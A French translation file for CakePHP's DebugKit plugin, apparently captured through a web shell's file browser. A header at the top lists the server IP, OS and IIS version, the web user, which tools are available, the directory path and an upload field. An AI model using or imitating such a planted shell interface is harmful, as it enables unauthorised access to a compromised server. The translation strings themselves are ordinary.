Server IP : 180.180.241.3 / Your IP : 216.73.216.252 Web Server : Microsoft-IIS/7.5 System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.3.28 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/AppServ/www/app/Plugin/DebugKit/Locale/fra/LC_MESSAGES/ |
Upload File : |
# LANGUAGE translation of CakePHP Application # Copyright YEAR NAME <EMAIL@ADDRESS> # No version information was available in the source files. # #, fuzzy msgid "" msgstr "Project-Id-Version: PROJECT VERSION\n" "POT-Creation-Date: 2013-06-04 12:00+0200\n" "PO-Revision-Date: YYYY-mm-DD HH:MM+ZZZZ\n" "Last-Translator: cake17 <gvmail76-inscription@yahoo.fr>\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n>1;\n" #: controllers/components/toolbar.php:91 msgid "Component initialization and startup" msgstr "Initialisation du component et démarrage" #: controllers/components/toolbar.php:140 msgid "Controller Action" msgstr "Action du Controller" #: controllers/components/toolbar.php:167 msgid "Render Controller Action" msgstr "Rendu de l'Action du Controller" #: controllers/components/toolbar.php:231 msgid "Could not load DebugToolbar panel %s" msgstr "Ne peut charger le panel %s de DebugToolbar" #: views/elements/debug_toolbar.ctp:25 msgid "There are no active panels. You must enable a panel to see its output." msgstr "Il n'y a pas de panels actifs. Vous devez activer le panel pour voir sa sortie." #: views/elements/history_panel.ctp:21 msgid "Request History" msgstr "Historique des Requêtes" #: views/elements/history_panel.ctp:23 msgid "No previous requests logged." msgstr "Pas de demandes antérieures enregistrées." #: views/elements/history_panel.ctp:25 msgid "previous requests available" msgstr "Des requêtes antérieures sont disponibles" #: views/elements/history_panel.ctp:27 msgid "Restore to current request" msgstr "Restaure la requête actuelle" #: views/elements/log_panel.ctp:21 msgid "Logs" msgstr "Logs" #: views/elements/log_panel.ctp:28 msgid "Time" msgstr "Date" #: views/elements/log_panel.ctp:28 views/elements/timer_panel.ctp:54 msgid "Message" msgstr "Message" #: views/elements/log_panel.ctp:37 msgid "There were no log entries made this request" msgstr "Il n'y avait pas d'entrées de log faîtes pour cette requête" #: views/elements/request_panel.ctp:21 msgid "Request" msgstr "Requête" #: views/elements/request_panel.ctp:35 msgid "Current Route" msgstr "Route actuelle" #: views/elements/session_panel.ctp:21 msgid "Session" msgstr "Session" #: views/elements/sql_log_panel.ctp:21 msgid "Sql Logs" msgstr "Logs Sql" #: views/elements/sql_log_panel.ctp:31 msgid "toggle (%s) query explains for %s" msgstr "bascule (%s) requêtes expliquées pour %s" #: views/elements/sql_log_panel.ctp:39 msgid "No slow queries!, or your database does not support EXPLAIN" msgstr "Pas de requêtes lentes!, ou votre base de données ne supporte pas EXPLAIN" #: views/elements/sql_log_panel.ctp:44 msgid "No active database connections" msgstr "Pas de connections actives de la base de données" #: views/elements/timer_panel.ctp:33 msgid "Memory" msgstr "Mémoire" #: views/elements/timer_panel.ctp:35 msgid "Current Memory Use" msgstr "Utilisation de la Mémoire Actuelle" #: views/elements/timer_panel.ctp:39 msgid "Peak Memory Use" msgstr "Utilisation de la Mémoire au niveau maximum" #: views/elements/timer_panel.ctp:43 msgid "Timers" msgstr "Timers" #: views/elements/timer_panel.ctp:45 msgid "%s (ms)" msgstr "%s (ms)" #: views/elements/timer_panel.ctp:46 msgid "Total Request Time:" msgstr "Total du Temps de Requête" #: views/elements/timer_panel.ctp:54 msgid "Time in ms" msgstr "Temps en ms" #: views/elements/timer_panel.ctp:54 msgid "Graph" msgstr "Graph" #: views/elements/variables_panel.ctp:21 msgid "View Variables" msgstr "Variables du View" #: views/helpers/simple_graph.php:79 msgid "Starting %sms into the request, taking %sms" msgstr "Début en %sms de la requête, et prend %sms"